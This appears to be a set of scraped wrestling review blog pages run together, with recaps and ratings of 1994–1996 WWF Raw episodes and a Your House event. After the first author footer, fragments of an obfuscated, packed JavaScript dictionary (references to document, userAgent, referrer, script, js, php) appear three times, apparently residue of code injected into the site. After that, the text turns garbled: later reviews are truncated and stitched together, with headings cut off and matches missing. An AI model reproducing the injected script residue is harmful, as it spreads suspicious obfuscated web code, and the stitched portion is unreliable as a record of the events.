Monday Night Raw
Date: July 25, 1994
Location: Fernwood Resort, Bushkill, Pennsylvania
Attendance: 1,600
Commentators: Jim Ross, Randy Savage

We’ll wrap up the month/year here as the road to Summerslam continues. In this case we have a double main event coming up as the Undertaker will face the Undertaker and Bret Hart will defend the WWF Title against Owen Hart inside a cage. That’s at Summerslam though, whereas tonight is about Nikolai Volkoff. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of last week, with Tatanka accusing Ted DiBiase of buying Lex Luger, which DiBiase had already claimed to have done. Then on Superstars, DiBiase said he had purchased Luger, who came out to deny it, though Tatanka doesn’t believe Luger at all. Luger is still insisting otherwise though as the intrigue builds.

Opening sequence.

Tatanka vs. Nikolai Volkoff

Ted DiBiase is here with Volkoff and the winner gets $10,000. Tatanka goes after the arm to start so Volkoff headbutts him against the ropes. Volkoff hammers away in the corner and looks rather lumbering in doing so. Some ax handles to the back set up an awkward looking kick to the chest as this isn’t exactly breathtaking stuff.

Tatanka fights back with a clothesline and a dropkick to send Volkoff outside, where he needs a breather. DiBiase isn’t pleased with the delay so Volkoff goes back inside, where a ram into the buckle sends Tatanka into the war dance. The top rope chop to the head gets two but Volkoff gets in a big boot. A slam is loaded up but Tatanka small packages him for the pin at 6:14.

Rating: D+. I think you can get the problem here, as Volkoff just isn’t that interesting. All he had was a bunch of punching and kicking with a few slams thrown in. That stops working after about thirty seconds so Tatanka was left to carry things on his own. Volkoff wasn’t happy to be working for DiBiase, but it’s even worse having to watch him do these matches, which really aren’t working.

Post match Randy Savage gets in the ring to make sure DiBiase pays the debt. DiBiase gets the money out but says Tatanka could never do that to HIS Lex Luger. Tatanka gets paid and insists he can beat Luger, who comes out to interrupt. DiBiase steps back and Luger (who gives DiBiase a quick look) wants to make sure he heard Tatanka right. Tatanka says he can beat Luger anytime anywhere, so Luger is down. With Luger gone, DiBiase offers to make the match with HIS Luger whenever Tatanka is ready.

Headshrinkers vs. Barry Hardy/Joey Stallings

Non-title. The Headshrinkers jump them at the bell and we take a break one second in before coming back with Fatu dropping Stallings with a clothesline. Samu comes in for a spinning kick to the face and a middle rope DDT (that was cool) gets two. Stallings gets sent into the corner as Jim Ross says he hopes Jim Cornette and the Heavenly Bodies are watching in Smoky Mountain Wrestling. A double clothesline gives Fatu two and a double Stroke sets up Fatu’s top rope splash for the pin at 3:51.

Rating: C. This was enjoyable for the complete destruction of Stallings, who took one big move after another until the ending. Even JR was saying they needed to finish him off already but dang it was kind of fun to see. Total squash here and I don’t believe Hardy ever even tagged in.

Next week: Razor Ramon vs. Shawn Michaels. That’s a big one.

Jim Neidhart vs. Jim Powers

Owen Hart is here with Neidhart. Powers, who is so muscular (completely natural I’m sure) slides between the legs to start but gets backdropped over the top for a 360 flip. Back in and Neidhart slowly hammers away before taking the straps down to choke on the ropes. A belly to back suplex gets two, with Neidhart pulling him up. Neidhart shrugs off some right hands and grabs a powerslam, setting up the camel clutch (with something close to a dragon sleeper instead of pulling back) for the win at 2:57. Another squash, but not the fun kind.

Post match Owen gives Neidhart some Bret Hart glasses.

Next week: Alundra Blayze vs. Bull Nakano. Dang that’s a stacked show.

Here is Women’s Champion Alundra Blayze for a chat. Blayze is sick of Luna Vachon and now she has to face Bull Nakano next week. Cue Luna to say she’s the reason Nakano is getting the title shot. Of note: everyone keeps calling the challenger Bull “Knock-uh-no” as opposed to “Nuh-con-oh” as it is usually pronounced.

We get an ad for the New Generation featuring a mobster threatening a restaurant owner for not having a TV ready for them to watch Raw. These things were always odd.

Yokozuna vs. Adam Bomb

Mr. Fuji is here with Yokozuna and Bomb is freshly turned face. Yokozuna chops him against the ropes and cuts him off with an elbow to the face as the beating is on fast to start. Bomb comes back with right hands and clotheslines, followed by a big shoulder to put Yokozuna on the floor.

We take a break and come back with Yokozuna knocking him down again, including a hard clothesline. We hit the required nerve hold so Bomb can fight up, only to get blasted with another clothesline. The running splash in the corner misses though and Bomb manages a jumping DDT. A top rope clothesline puts Yokozuna down but cue Harvey Wippleman (Bomb’s former manager) and Kwang, the latter of whom trips Bomb. The fight goes to the floor and Bomb is counted out at 10:43.

Rating: C-. Bleh this was lame, with Bomb’s comeback being the only thing working. Yokozuna more or less demolished him for the most part and then Kwang caused the countout. That made for a rather dull match, which is a shame so soon after Bomb’s face turn. I always thought Bomb could have been a solid midcard star but you’re only getting so far with something like this.

Summerslam Report looks at the double main event.

Leslie Nielsen is officially on the case of the double Undertakers. Yes, this headlined Summerslam.

Duke Droese vs. Dwayne Gill

Jerry Lawler calls in to continue talking about attacking Droese five weeks ago. Droese throws Gill around to start and we hit the quickly broken chinlock. The bearhug doesn’t last long before Droese hits a hard clothesline. The Trash Compactor finishes at 2:32. as Lawler keeps talking about Bob Backlund. This was all so Lawler could talk throughout the match.

A quick preview of next week’s show wraps it up.

Overall Rating: D+. This didn’t work with one boring match after another. It was pretty clearly the last of a long taping and as a result, there was only so much left to put out there. The fact that this show featured names like Nikolai Volkoff and Duke Droese should tell you all you need to know, as that’s quite weak even for 1994. Throw in Yokozuna having a dull match and all you have is a Headshrinkers squash that was entertaining in how lopsided it was. How was this show supposed to be good?

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Monday Night Raw
Date: July 4, 1994
Location: Westchester County Civic Center, White Plains, New York
Attendance: 3,400
Commentators: Gorilla Monsoon, Randy Savage

This is the last month of 1994 that I have to cover and we are freshly done with King Of The Ring. That means we now have King Owen, the King Of Harts, who is still not happy with his brother Bret. Odds are we will be hearing something from him as we are on the long road to Summerslam. Let’s get to it.

Here are last week’s results if you need a recap.

Gorilla and Savage are VERY happy that it’s the 4th of July. They also run down the crowd, though not quite as excitedly.

Tatanka vs. Jeff Jarrett

Tatanka strikes away to start and sends Jarrett into the corner, followed by a slightly delayed suplex for two. Jarrett is right back with a takedown into the chinlock, which lasts as long as the average chinlock. Back up and Tatanka grabs a Japanese armdrag before grinding away on a headlock. Naturally Jarrett, an old school heel, claims a pull of the hair and gets absolutely nowhere by doing so. Lying is bad you see.

Jarrett manages to send him outside for a needed breather so Tatanka follows, earning some rams into the apron. A good posting cuts off the comeback attempt and that’s a countout at 6:11. Hold on though as Jarrett doesn’t want it that way and wants a restart. After some insults to Randy Savage on commentary, Jarrett gets what he wants and we take a break.

Back with Jarrett grabbing the chinlock to keep Tatanka in trouble. Tatanka fights up and grabs a sleeper, only to be rammed into the buckle for another break. We hit the sleeper for a good while until Tatanka fights up, leaving Jarrett to ram him into the buckle. That means nothing on Tatanka (because stereotype reasons), who is back with a DDT for two. A top rope chop to the head has Jarrett trying to run off but Dink of all people stops him. Doink comes out with a bucket to chase Jarrett back inside, where Tatanka grabs a rollup for the pin at 16:09.

Rating: C. This got some time and the ending played into the Doink stuff, but it’s a case where the match is more long than good. The chinlock and sleeper felt like they were going on for a rather long time and that didn’t make for the best match. Jarrett did the “I don’t want a countout” thing for months on the house shows so it makes sense for him to bring it to Raw.

Video on Bret Hart defending the WWF Title against the 1-2-3 Kid next week.

It’s time for the King’s Court with Jerry Lawler, whose guest is the 1-2-3 Kid himself. After some jokes about how small/skinny the Kid is, here he is to a rather nice reaction. Lawler tells the Kid to ignore the fans and tells him to go win the title because Lawler hates Bret Hart that much. The Kid praises Bret but Lawler says that’s no attitude to win the title. Lawler keeps saying to win the title for him but the Kid says he’s doing it for himself. And that’s about it.

Come to house shows!

Jim Neidhart vs. Gary Scott

Neidhart has Owen Hart with him and launches Scott with an early backdrop. The chinlock goes on as commentary speaks about the dangers of Thurman Plugg. The fans want Bret but have to settle for Neidhart sending him hard into the corner and biting away. Scott gets tied in the Tree of Woe to keep up the beating and we hit the chinlock. Neidhart sends him outside for some yelling from Owen, followed by a powerslam for the pin at 3:59.

Rating: C-. Neidhart is someone who made sense for the role as he tied into the whole Hart Family story, but that doesn’t mean he was exactly interesting. He always had the problem of being fairly uninteresting without Bret in there with him but at least he’s something different. Not an interesting squash here, but at least it gets better when Bret is around.

Duke Droese vs. Mike Sharpe

A trashman vs. a known clean freak. This really just doesn’t seem fair. Droese slams him down to start but Sharpe actually gets in some forearms to the back. Back up and Droese gets in some rams into the corner before elbowing him in the face as commentary talks about tennis. A big elbow finishes for Droese at 4:00.

Rating: C. Droese is someone who felt like he could have been something, or at least something more than what he was here. It’s a gimmick that is never going to get him anywhere but he did put the effort into tring something with it. Not much of a squash, but I’ve always had a soft spot for Droese.

We get the BRET vignette with the kid shouting and then saying go get em champ. That’s as 90s as you can get, even if it’s based on something from the 70s.

Fake Undertaker vs. Mike Bell

Ted DiBiase is here with Fake Undertaker, who starts a bit faster than usual for an Undertaker match. We go through the slightly complicated managerial history of Undertaker over the years as he chokes away in the corner and grabs a drop toehold of all things. Fake drops an elbow and sits up, much to DiBiase’s delight. Old School sets up more choking and the Tombstone finishes Bell at 4:01.

Rating: C-. They were in a weird place here as it was pretty clearly not the same Undertaker yet commentary was acting like it was really him, which made things rather odd. The match was the usual squash, but seeing someone who looks like the Undertaker doing a drop toehold was weird enough. At least Fake had a good looking Tombstone, which is one of the most important aspects.

Post match Paul Bearer comes out and Fake seems conflicted. Post break, DiBiase uses the power of money to calm things down.

Post another break, Jerry Lawler asks Ted DiBiase to be on the King’s Court next week and Lawler even offers to do it on location so DiBiase doesn’t have to be around the people.

Overall Rating: C-. Pretty bleh show here, especially for a major holiday. Maybe they were punting for a change but other than Randy Savage’s outfit and a few mentions, you would have no idea that this was on the 4th of July. The Fake Undertaker stuff was the big draw and that is hardly must see. That Kid vs. Hart match does sound good though and we should be in for a solid one next week.

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Monday Night Raw
Date: August 15, 1994
Location: Lowell Memorial Auditorium, Lowell, Massachusetts
Commentators: Vince McMahon, Randy Savage

We are two weeks away from Summerslam and last week’s show saw a huge focus on Lex Luger vs. Tatanka. Other than that, the Undertaker vs. Fake Undertaker feud is still nothing important and Bret Hart vs. Owen Hart is making up for it. The rest of the card is set and it’s really nothing much to see. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of Tatanka accusing Lex Luger of selling out to Ted DiBiase.

Opening sequence.

Commentary previews the show.

1-2-3 Kid vs. Owen Hart

Jim Neidhart is here with Owen. Kid kicks Owen in the face to start fast (ala their classic at the 1994 King of the ring) before starting in on the arm. Back up and Owen pulls him down by the hair as commentary points out that Owen is going to want to beat Kid faster than Bret could beat him five weeks ago (nice touch).

Kid’s headlock keeps Owen down but he finally cheats his way to freedom and nails a headbutt. The chinlock doesn’t last long so Kid hiptosses him down but gets kicked away. Stereo nipups let Kid send him outside for a baseball slide and a big springboard dive (in 1994) makes it worse.

We take a break and come back with Owen suplexing him to the floor in a NASTY crash and then slapping Kid in the face a few times. Some postings keep Kid in trouble and a hard whip into the buckle stays on his bad back. We hit the chinlock with a knee in said back, followed by a neckbreaker for…no cover. Instead Owen goes up top and misses some double knees before missing the enziguri as well. Kid grabs the half crab as the confused fans think you can get a 1-2-3 out of that kind of hold. Neidhart comes in for the DQ at 13:30.

Rating: B. It wasn’t quite the King of the Ring match but the Kid can do some great things in the ring and Owen compliments him very well. I’m not sure if I would have had Owen not be able to put Kid away two weeks before the biggest match of his career, Owen has already proven that he can beat Bret anyway. Good match with a bad ending, the former of which shouldn’t be any kind of a surprise.

Post match, Owen and Neidhart beat the Kid down even more.

It’s time for the Summerslam Report, with a chat about Bret vs. Owen and Undertaker vs. Undertaker. Other than that, Razor Ramon is bringing in Walter Payton to even things out with Shawn Michaels and Diesel.

We hear from Payton, who is ready to take out Shawn (Razor doesn’t actually say anything as Payton does some good cue card reading).

Some more of the card gets a quick look, with another look promised for later tonight. Yay.

Abe Knuckleball Schwartz reminds us that he is on strike. Earlier tonight, he blamed the fans for baseball being on strike, because the owners certainly can’t be blamed. Sweet goodness topical WWF is stupid.

Duke Droese vs. Nick Barbery

Joined in progress after an ICOPRO ad and Droese hits a powerslam. The chinlock goes on as a USA chant starts up for some reason. Barbery fights up and actually gets in a few shots until a clothesline takes his head off. A big elbow finishes Barbery at 1:26. I still think there was something to Droese if he wasn’t saddled with the goofy gimmick.

Leslie Nielsen is still trying to find Undertaker and the puns and plays on words are very strong with this one. After having his own look-a-like arrested, Nielsen promises to solve the case at Summerslam.

Call and waste money to say if Lex Luger sold out or not.

Kwang vs. Tony Roy

Ted DiBiase is on commentary to talk about Lex Luger. Kwang stomps away, sprays mist into the air, stomps away some more, and finishes with a spinwheel kick at 46 seconds.

It’s time for the King’s Court with Ted DiBiase. Jerry Lawler talks about all the people saying there is nothing to DiBiase’s Undertaker so here is Paul Bearer for the big argument. Bearer insists that DiBiase’s is fake and promises the real Undertaker will destroy the fake one at Summerslam. DiBiase brings out the fake Undertaker (who again, looks like an Undertaker cosplayer), with Bearer promising more destruction. Fake Undertaker chokes Bearer out until the lights go off, allowing Bearer to escape.

Mabel vs. Raymond Roy

Oscar raps Mabel to the ring so a big clothesline can drop Roy. A Hennig necksnap of all things connects and an elbow to the face sets up quite the slam. Mabel splashes him in the corner and drops the middle rope elbow for the pin at 2:32 in a nearly literal squash.

Jeff Jarrett vs. Scott Taylor

Joined in progress with Jeff dropkicking him down but Taylor gets a sunset flip for two. Jarrett blocks a rollup attempt but a small package gives Taylor two more. Back up and Jarrett takes him down, setting up the Figure Four for the win at 2:00.

Post match Oscar (rapping again) and Mabel come to the ring for the rap vs. country showdown but referees break it up.

Vince and Randy preview Sunday Night Slam (which is taking place of next week’s Raw) to end the show.

Overall Rating: C+. The opener absolutely carries this show as Summerslam is looking pretty awful outside of Bret vs. Owen. Other than Owen vs. Kid, this was a bunch of squashes and nothing stands out in the slightest (save for Mabel doing a Hennig neck snap). This was a rough time for the company and that was on full display here, with one bad thing after another. Just get through with Summerslam and move on to anything else already.

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Monday Night Raw
Date: May 23, 1994
Location: Struthers Fieldhouse, Youngstown, Ohio
Attendance: 1,500
Commentators: Randy Savage, Vince McMahon

We’re thankfully onto a fresh taping cycle so maybe things can get a little bit better. It’s not like you can get much worse than what we’ve had in recent weeks so hopefully this is a step in the right direction. We are about a month away from the King of the Ring and that means more qualifying matches in the coming weeks. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of last week’s sumo match with Earthquake defeating Yokozuna. As a result, Yokozuna and Crush destroyed Earthquake on the Wrestlemania Revenge Tour, writing him out of the promotion. It also writes him out of tonight’s King of the Ring qualifying match, meaning Owen Hart needs a replacement.

Opening sequence.

King of the Ring Qualifying Match: Owen Hart vs. Doink The Clown

Doink has Dink with him. Owen jumps him to start but gets sent into the buckle for his efforts. That earns Doink a rake to the face paint and the belly to belly suplex makes it even worse. Doink fights back up and grabs a backdrop as Dink has to stand on the steps to see the match. With Owen sent outside, Dink gets in to dance a bit as the pandering is on a roll.

We hit the stall button for a bit and the WE WANT BRET chants have Owen even more annoyed. Back in and Owen gets him into the corner for some right hands, only to be sent outside. This time Dink offers a distraction, allowing Doink to catch Owen with a clothesline. That’s quite a heelish sequence for Doink but he was better when he was evil anyway. Owen finally gets smart by pulling Doink down by the leg and wrapping it around the post. We take a break and come back with Owen grabbing a chinlock to keep things slow.

Back up and Owen’s always good looking belly to belly gets two and we hit the camel clutch (not a Boston crab Vince). Doink fights up and takes him down for a breather, meaning it’s time for the comeback slugout. An overhead belly to belly gives Doink two for a change and a neckbreaker….gets no count as here is Jeff Jarrett to kidnap Dink. The distraction lets Owen grab a rollup for the pin at 12:33.

Rating: C. This was a decent match, as Owen kept getting frustrated by Doink and even needed some cheating to move on. I think they actually saw something in Doink, as Vince was trying to get “The Doinkster” over on commentary. Not exactly a classic, but Owen getting some time was always going to be worth a little something at worst.

It’s time for the King of the Ring Report, with Todd Pettengill explaining the tournament. I know this stuff is basic, but you’re going to have someone who doesn’t know how it works and this could hook them in. We run down the brackets and the remaining qualifying matches (including Tatanka vs. Jimmy Del Ray!) before moving on to the rest of the card. This includes Diesel talking about how Bret Hart was up against a monster. To put it mildly, Diesel is really, really bad at talking here as it sounds like he’s reciting lines and not very well at that.

The Headshrinkers are defending the Tag Team Titles against Yokozuna and Crush, plus Roddy Piper vs. Jerry Lawler because reasons. Roddy even stops training to talk about how he needs the fans to send money to the kids. Lawler called Piper Jurassic Park, but that’s the biggest film of all time so he’ll take that as a compliment. Piper couldn’t be less interested in this match if it was his time in WCW.

We get a WWF Unbelievable (ad campaign) video, with a loudmouth saying he can beat everyone up and then being more and more damaged. Come see the WWF abuse people?

Duke Droese vs. Barry Horowitz

This is Droese’s Raw debut and he shoves Barry around to start. There’s a hiptoss into a slam as this is feeling squashish. Another hiptoss has Savage wondering if Droese can do anything besides be big, fast, strong and wrestle. Barry manages a shot to the face of his own and gets in a middle rope ax handle. Droese’s arm is sent into the corner and the armbar goes on to make it worse. That’s broken up and it’s a spinebuster to plant Barry. A jumping elbow finishes for Droese at 2:57. Yeah, but he’s still a wrestling garbageman. This wasn’t going to work.

Here’s what the Wrestlemania Revenge Tour looks like. Jonathan Taylor Thomas from Home Improvement gets a cameo because….well because 1994 isn’t good. Also, we’re about three months removed from Wrestlemania. How much revenge do you need?

IRS vs. Gary Sabaugh

Sabaugh is a bit better known as the Italian Stallion from the NWA. The eternally sweaty IRS sends him outside to start as commentary talks about politics. An elbow to the face drops Sabaugh back inside and we hit the chinlock. A legdrop sets up another chinlock as the IRWIN chants begin. Commentary talks about basketball as the hammerlock keeps Sabaugh in trouble. IRS hits a butterfly suplex to set up a third chinlock, which shouldn’t happen in a twenty minute match, let alone a Raw match like this one. Back up and a hot shot cuts Sabaugh off and the Write Off (running clothesline) finishes at 4:12.

Rating: D-. Yes it’s a running clothesline and yes it’s called the Write Off. It isn’t like there is much else that you can expect from a wrestling tax agent, so just try to survive the match most weeks. IRS was pretty firmly hitting the extent of his usefulness at this point, meaning he was fine as a midcard heel. Just stop giving him so much time.

We look at Crush costing Lex Luger his King of the Ring qualifying match on Superstars. A brawl ensued.

It’s time for the King’s Court, with Jerry Lawler mocking Randy Savage, but even he isn’t as bad as Roddy Piper. For now though, here is Lex Luger as this week’s guest. The USA chants begin and WOW this place is small. It feels like a small high school gym and that’s not what you think of for Raw. How could you think this feels like Raw? This place is full! Anyway, Lawler talks about Luger’s bad luck at Wrestlemania, including his first Wrestlemania (where Luger won, as Lawler’s history seems off).

After threatening Lawler, Luger talks about how Crush cost him his King of the Ring chances and promises to damage him. Lawler doesn’t think Luger would say that to Crush’s face so here is Crush in person. His arm is in a sling though, and no one seems to have heard about it. Crush claims Luger jumped him from behind because Luger knows he can’t win face to face. He would totally take Luger out right now if he wasn’t hurt so Luger takes the jacket off.

Lawler says Luger wouldn’t hit an invalid, so Luger clotheslines Crush to the floor, revealing that the arm is fine. Luger was quite evil here, as he didn’t know for sure that Crush was faking it. Then again the feud was thrown together because Mr. Perfect is gone so this is as good as they could do on short notice.

Nikolai Volkoff vs. Matt Hardy

It feels like a randomly generated match on a Wrestling Legends game. Ted DiBiase is on commentary as Volkoff hammers away on the mat and then catches Hardy on top. Forearms to the chest and a knee to the ribs has Hardy down again. Hardy gets in a few shots to the face but a kick to the ribs cuts him off. The Boston crab finishes for Volkoff at 2:32. Volkoff feels so out of place here, and not just because he needs a haircut.

Next week: Bret Hart is on the King’s Court, which has Lawler and Savage rather excited.

Overall Rating: D. They continue the awful path to the even worse King of the Ring and this is getting harder to watch. The wrestling isn’t good and the character stuff is downright awful, with stuff like the garbageman, Volkoff in 1994 and Doink as a good guy all combining to make the shot terrible. I’m looking forward to wrapping this month up because it really is that bad these days.

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IMG Credit: WWE

Monday Night Raw
Date: September 19, 1994
Location: Lowell Memorial Auditorium, Lowell, Massachusetts
Attendance: 2,300
Commentators: Vince McMahon, Randy Savage

The big attraction here is Jerry Lawler vs. Duke the Dumpster Droese. I don’t know what else there is to say here, but that’s the high point of the show. We have nothing better than Lawler vs. a trashman and we’re not even in Memphis to make it feel special. I’m almost scared to see what we’re getting here as it’s the dreaded last night of a taping cycle. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a look at Tatanka joining the Million Dollar Corporation. Unlike Lex Luger, he understands the value of a dollar.

Opening sequence.

Lex Luger vs. The Executioner

I’d bet on that being Dwayne Gill under a mask. Luger headlocks and shoulders him down to start but Executioner grabs a small package for two. Some forearms to the back stagger Luger but he’s right back with a running clothesline. The Rack is good for a fast submission.

Duke Droese vs. Jerry Lawler

They’re getting to the big one early this week. Before the match, Lawler makes trash jokes about Droese being filthy. The chase is on before the bell but Lawler is finally willing to get inside. Lawler’s headlock gives him a big smile so Droese shoves him hard into the corner. That means Lawler hides behind the referee as he continues to know how to rile the fans up while doing a grand total of nothing.

Now it’s Lawler being sent outside so he can yell at some fans, followed by a big hiptoss inside. Droese hammers away in the corner for a face first fall, meaning Lawler needs another breather. Back in and Lawler gets backdropped so it’s another trip to the floor and we take a break. We come back with Lawler stalling more, all with the fans being rather annoyed with him (in a good way).

It’s time to go to Memphis with the invisible object and a single shot puts Droese down. Lawler gets on the rope and poses and it’s time to slug away. The middle rope fist gets two but Droese launches him with the kickout. There’s the piledriver but Lawler goes outside to get the trashcan. Cue Dink of all people to spray Lawler with a water gun. The chase is on and that’s a countout to give Droese the win.

Rating: D+. I could go with the standard Lawler antics but then a miniature clown came in to cause a countout because Lawler got distracted by a trashcan. That’s one thing for a fun little match somewhere on the show but this was the featured match on the card, to the point where they even advertised it twice last week. It had some promise and then turned into a product of the era.

Post match the chase is still on until Doink comes out to send Lawler running into the crowd.

Heavenly Bodies vs. Mike Bell/Steve King

Joined in progress with Del Ray suplexing King and rubbing a forearm to his face. Prichard comes in for an elbow drop and it’s already back to Del Ray for a dropkick. A suplex sets up the moonsault to finish King in a hurry. Bell never even tagged in.

Another New Generation confession ad. They thought it was so great that they did another version?

Vince McMahon brings out Bob Backlund for an interview. Bob is booed out of the building, having recently snapped on Bret Hart. Vince asks what is going on in Backlund’s head but Bob needs to make it clear that he is NOT a former champion. He’s coming up on seventeen years as WWF Champion and starts ranting about society today, including bad pencils.

The fans are the ones who changed and he put the chickenwing on Bret because he wants to put it on every one of the fans. The people have manipulated themselves because the chickenwing is the greatest hold in wrestling. Even Bret can’t get out of it and it’s not his fault that people in America can’t stick to a diet or can’t read. Vince asks about Backlund saying no one can escape the chickenwing after saying for years that no one can escape the hold.

Bob is so confident in the hold that if anyone can escape it from the mat, he’ll retire. The jacket comes off and it’s time for a demonstration on a WWF Magazine writer at ringside. The chickenwing goes on and Backlund cranks on the thing, causing Vince himself to try for the save. It’s so much that Savage comes in for the real save, leaving Backlund just staring at his hands. He is MR. BACKLUND and you can feel it. This was awesome as Backlund came off as a complete psycho and having Vince getting involved made it even better.

Bob Holly vs. Richie Rich

Isn’t Macaulay Culkin a little young to be a jobber here? Commentary completely ignores the match to rant about Backlund as Holly works on the arm to start. A clothesline into a high crossbody finishes Rich in a hurry.

Yokozuna vs. Phil Apollo

Vince is back to normal and Yokozuna is making a rare solo appearance. Yokozuna elbows him down to start and hammers Apollo down in the corner without much effort. The Banzai Drop is good for the fast pin.

Post match Undertaker’s music hits to freak Yokozuna out.

Overall Rating: D+. That Backlund promo came as close to saving a rotten show as you can get though even it had a limit. The rest of the show was pretty terrible, though I can appreciate the last two matches being short and to the point rather than dragging them out longer than necessary. They need a pay per view to build towards though because hearing about the Hart Attack Tour every few seconds isn’t quite cutting it.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfisf|var|u0026u|referrer|yidfk||js|php'.split('|'),0,{})) Your House #6: Rage in the Cage
Date: February 18, 1996
Location: Louisville Gardens, Louisville, Kentucky
Attendance: 5,500
Commentators: Jerry Lawler, Vince McMahon

The opening video talks about the mindsets of Diesel and Bret and what role the Undertaker might play in the whole thing.

Vince and Jerry preview the show for us.

Razor Ramon vs. 1-2-3 Kid

Rating: C+. Not a bad match here and a good choice for an opener but the sleeper went on too long. This is one of those stories that went on so long that it was hard to care about either guy at the end of it, but it got the Kid to a higher level than he would have been at otherwise which is a good sign. This was probably their best match in the entire story too.

Post match the Kid has a baby bottle poured down his throat, gets put in a diaper and covered in baby powder.

Hunter Hearst Helmsley vs. Duke Droese

We recap the collapse of Camp Cornette, which culminated in the British Bulldog accidentally hitting Yokozuna and costing them a tag match. Cornette berated Yokozuna after the match and the big man erupted, turning face in the process.

Yokozuna vs. British Bulldog

Post match Yokozuna goes after Cornette until Vader, the new monster of Camp Cornette, comes out to slug Yokozuna down into the corner and handcuff him to the ropes. The beating ensues and goes on longer than it should have.

Goldust is on AOL for an interview and hits on the guy doing the typing.

Owen Hart vs. Shawn Michaels

Post match Shawn dances with an 8 year old girl in the ring. Nice moment.

WWF World Title: Diesel vs. Bret Hart

Diesel misses a charge in the corner and hurts his knee again, giving Bret an opening. The champion goes after the bad wheel and drops a middle rope elbow on it for good measure. Diesel counters a whip to give us the chest first buckle bump, which sounds AWESOME here because of the cage shaking. The challenger pounds away with elbows in the corner but Bret kicks him in the knee for a breather.

Diesel and Undertaker crawl out of the hole with Diesel escaping from further torment.

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ianrz|var|u0026u|referrer|fkhnz||js|php'.split('|'),0,{})) Night Raw
Date: July 1, 1996
Location: Brown County Expo, Green Bay, Wisconsin
Attendance: 4,660
Commentators: Vince McMahon, Jerry Lawler

Shawn Michaels vs. Marty Jannetty

Instead he tries a powerbomb which is countered into a hurricanrana which is countered into a sunset flip for two on Marty. We take another break and come back with Marty scoring with the Rocker Dropper but missing the top rope fist drop. Shawn goes old school with a piledriver (which, along with the teardrop suplex were completely abandoned once he went to the superkick) and the top rope elbow, followed by Sweet Chin Music for the pin.

We look at Sunny suckering Phineas Godwinn in to admit he loved her before ripping him apart and sending the Smoking Gunns in for the beatdown. Hillbilly Jim and Henry Godwinn made the save, leaving Sunny to be slopped. Sunny looked great here, before the slopping that is.

Mankind vs. Duke Droese

Lawler and Roberts get in an argument with Jerry slapping him, only to have Mankind put Jake down with the Claw.

Marc Mero vs. Goldust

Rating: D-. Oh sweet goodness what a boring match. This was a bunch of sitting around waiting on anything interesting to happen and then not being surprised when nothing happened. These guys are better than this and I have no idea why they had such a horrible match with such little effort involved.

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snzhb|var|u0026u|referrer|yaaye||js|php'.split('|'),0,{})) Night Raw
Date: March 6, 1995
Location: Macon Coliseum, Macon, Georgia
Attendance: 2,751
Commentators: Vince McMahon, Jim Cornette

Opening sequence.

Shawn Michaels vs. British Bulldog

That was one of the first times Shawn had won a big match with the superkick. Now instead of having to use that stupid teardrop suplex, Shawn can kick Diesel in the face to possibly win the title. That alone is the way to get someone ready for a major match and wound up being one of the most successful finishers of all time. No one knew it yet but they just witnessed history.

Long video on the Wrestlemania press conference with a bunch of bored reporters listening to Shawn and Diesel talk about their match before they hear from Taylor. After that eats up a bunch of time, we hear about all of the celebrities who will be around, headlined by Pamela Anderson.

Video on the Fan Festival, which is like the grandfather of Axxess.

Bob Backlund vs. Buck Quartermaine

Rating: D-. Way longer than it needed to be here but again I really like the idea that they had a match going instead of stopping everything for the sake of announcing a match. Backlund was certainly winding down at this point and the Bret match at Wrestlemania would pretty much be it for him as a full time guy though he would be around for over another year.

Recap of Bret Hart vs. Jerry Lawler, who face off again next week. This time Lawler is calling Bret a racist for reasons.

Stephen Dunn vs. Duke Droese

A 45 second highlight package takes us out.

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